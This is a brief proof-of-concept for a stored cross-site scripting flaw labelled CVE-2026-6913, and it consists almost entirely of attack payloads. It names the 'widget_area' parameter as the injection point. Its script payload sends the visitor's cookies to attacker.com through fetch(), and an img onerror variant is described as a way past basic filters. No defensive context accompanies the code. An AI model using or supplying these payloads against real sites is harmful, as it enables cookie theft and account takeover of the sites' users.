CVE-2026-6913

<!-- PoC for CVE-2026-6913 Stored XSS --> <!-- Inject into the 'widget_area' parameter --> <script> // Example payload to steal cookies fetch('http://attacker.com/steal?c=' + document.cookie); alert('XSS Triggered'); </script> <!-- Or using an image tag to evade basic filters --> <img src=x onerror=alert('CVE-2026-6913')>

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